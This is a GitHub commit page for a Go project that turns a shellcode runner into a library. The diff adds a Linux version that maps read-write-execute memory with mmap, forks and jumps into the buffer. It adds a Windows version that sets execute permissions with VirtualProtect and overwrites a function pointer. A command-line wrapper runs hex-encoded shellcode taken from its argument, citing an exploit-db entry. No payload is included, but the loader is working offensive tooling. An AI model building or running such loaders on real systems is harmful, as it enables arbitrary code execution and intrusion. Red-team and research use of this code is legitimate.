Skip to content

Commit 5846d65

Browse files
committed
Now supports linux and can be called as a library!
1 parent e2bc91b commit 5846d65

File tree

3 files changed

+63
-35
lines changed

3 files changed

+63
-35
lines changed

cmd/sc/main.go

Lines changed: 29 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,29 @@
1+
package main
2+
3+
import (
4+
"encoding/hex"
5+
"fmt"
6+
"os"
7+
8+
shellcode "github.com/brimstone/go-shellcode"
9+
)
10+
11+
// This program runs the shellcode from: https://www.exploit-db.com/exploits/40245/
12+
//
13+
// As the shellcode is 32 bit, this must also be compiled as a 32 bit go application
14+
// via "set GOARCH=386"
15+
16+
func main() {
17+
18+
if len(os.Args) != 2 {
19+
fmt.Printf("Must have shellcode\n")
20+
os.Exit(1)
21+
}
22+
sc, err := hex.DecodeString(os.Args[1])
23+
if err != nil {
24+
fmt.Printf("Error decoding arg 1: %s\n", err)
25+
os.Exit(1)
26+
}
27+
28+
shellcode.Run(sc)
29+
}

shellcode_linux.go

Lines changed: 29 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,29 @@
1+
package shellcode
2+
3+
/*
4+
#include <stdio.h>
5+
#include <sys/mman.h>
6+
#include <string.h>
7+
#include <unistd.h>
8+
9+
void call(char *shellcode) {
10+
if(fork()) {
11+
return;
12+
}
13+
unsigned char *ptr;
14+
ptr = (unsigned char *) mmap(0, 0x1000, \
15+
PROT_READ|PROT_WRITE|PROT_EXEC, MAP_ANONYMOUS | MAP_PRIVATE, -1, 0);
16+
if(ptr == MAP_FAILED) {
17+
perror("mmap");
18+
return;
19+
}
20+
memcpy(ptr, shellcode, strlen(shellcode));
21+
( *(void(*) ()) ptr)();
22+
}
23+
*/
24+
import "C"
25+
import "unsafe"
26+
27+
func Run(sc []byte) {
28+
C.call((*C.char)(unsafe.Pointer(&sc[0])))
29+
}

main.go renamed to shellcode_windows.go

Lines changed: 5 additions & 35 deletions
Original file line numberDiff line numberDiff line change
@@ -1,16 +1,6 @@
1-
// This program runs the shellcode from: https://www.exploit-db.com/exploits/40245/
2-
//
3-
// As the shellcode is 32 bit, this must also be compiled as a 32 bit go application
4-
// via "set GOARCH=386"
5-
6-
package main
1+
package shellcode
72

83
import (
9-
"encoding/hex"
10-
"fmt"
11-
"log"
12-
"os"
13-
"os/exec"
144
"syscall"
155
"unsafe"
166
)
@@ -26,28 +16,8 @@ func VirtualProtect(lpAddress unsafe.Pointer, dwSize uintptr, flNewProtect uint3
2616
return ret > 0
2717
}
2818

29-
func fork() bool {
30-
if os.Getenv("CHILD") != "" {
31-
return false
32-
}
33-
34-
log.Println("Forking child")
35-
os.Setenv("CHILD", "true")
36-
cmd := exec.Command(os.Args[0], os.Args[1:]...)
37-
cmd.Start()
38-
return true
39-
}
40-
41-
func main() {
42-
if fork() {
43-
os.Exit(0)
44-
}
45-
shellcode, err := hex.DecodeString(os.Args[1])
46-
if err != nil {
47-
fmt.Printf("Error decoding arg 1: %s\n", err)
48-
os.Exit(1)
49-
}
50-
19+
func Run(sc []byte) {
20+
// TODO need a Go safe fork
5121
// Make a function ptr
5222
f := func() {}
5323

@@ -58,11 +28,11 @@ func main() {
5828
}
5929

6030
// Override function ptr
61-
**(**uintptr)(unsafe.Pointer(&f)) = *(*uintptr)(unsafe.Pointer(&shellcode))
31+
**(**uintptr)(unsafe.Pointer(&f)) = *(*uintptr)(unsafe.Pointer(&sc))
6232

6333
// Change permsissions on shellcode string data
6434
var oldshellcodeperms uint32
65-
if !VirtualProtect(unsafe.Pointer(*(*uintptr)(unsafe.Pointer(&shellcode))), uintptr(len(shellcode)), uint32(0x40), unsafe.Pointer(&oldshellcodeperms)) {
35+
if !VirtualProtect(unsafe.Pointer(*(*uintptr)(unsafe.Pointer(&sc))), uintptr(len(sc)), uint32(0x40), unsafe.Pointer(&oldshellcodeperms)) {
6636
panic("Call to VirtualProtect failed!")
6737
}
6838

0 commit comments

Comments
 (0)